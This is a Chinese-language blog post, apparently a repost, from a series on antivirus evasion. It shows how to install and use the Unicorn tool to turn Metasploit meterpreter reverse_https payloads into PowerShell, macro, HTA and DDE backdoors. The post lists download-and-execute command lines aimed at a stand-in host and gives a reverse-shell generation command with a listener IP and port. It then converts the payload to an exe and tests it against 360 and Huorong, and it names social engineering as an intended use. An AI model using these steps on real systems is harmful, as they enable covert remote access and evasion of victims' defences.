远控免杀专题(16)-Unicorn免杀

0x01 免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 Unicorn介绍

Magic Unicorn是一个比较简单的小工具,主要是基于Matthew Graeber提出的PowerShell攻击技术以及David Kennedy和Josh Kelly 提出的powershell bypass技术,把所有payload都转换成powershell代码。

Magic Unicorn支持cobalt strike、Metasploit和自定义的shellcode。

0x03 安装Unicorn

安装比较简单


git clone https://github.com/trustedsec/unicorn.git

都不需要安装其他的python库,就可以直接运行。

当然还是需要已经安装了Msf才行,因为Unicorn生成payload还是依赖msf,只不过它把payload转换成了powershell命令来运行。

执行python unicorn.py即可
在这里插入图片描述

0x04 Unicorn使用说明

可以使用python unicorn.py --help命令查看详细帮助

主要的几个用法如下:


Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms
Help Menu: python unicorn.py --help

支持生成ps1、macro、hta、dde等形式的代码和文件

0x05 利用Unicorn生成后门

我以最常规的windows/meterpreter/reverse_https来生成payload

生成命令为

python unicorn.py windows/meterpreter/reverse_https 10.211.55.2 3334

其中10.211.55.2和3334是我msf监听的ip和端口
在这里插入图片描述
生成了两个文件powershell_attack.txt和unicorn.rc

其中powershell_attack.txt是生成的payload
在这里插入图片描述
而unicorn.rc是msf配置文件,也就是用msfconsole -r unicorn.rc命令可以快捷的启动msf并监听相应端口
在这里插入图片描述
然后我们在测试机器上执行powershell_attack.txt里的代码
在这里插入图片描述
可正常上线
在这里插入图片描述
可以把powershell代码转换成exe,使用bat2exe就可以,生成ps1.exe
在这里插入图片描述
执行ps1.exe,发现触发了360安全卫士的行为检测,不过火绒没有反应。
在这里插入图片描述

0x05 小结

Unicorn使用比较简单,可以生成powershell代码、macro宏代码、hta、dde等格式的payload文件,可以在社工时直接使用,不过因为生成的代码关键字比较明显,所以静态查杀很多都没通过,只能说生成代码多样但免杀效果一般。

上面用到bat2exe工具和zirikatu已经放在tools文件夹中,还算挺好使

https://github.com/TideSec/BypassAntiVirus/tree/master/tools

参考

magic-unicorn:https://www.hackingarticles.in/magic-unicorn-powershell-downgrade-attack-and-exploitation-tool/

过win10防火墙和windows defender:https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/

发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105153360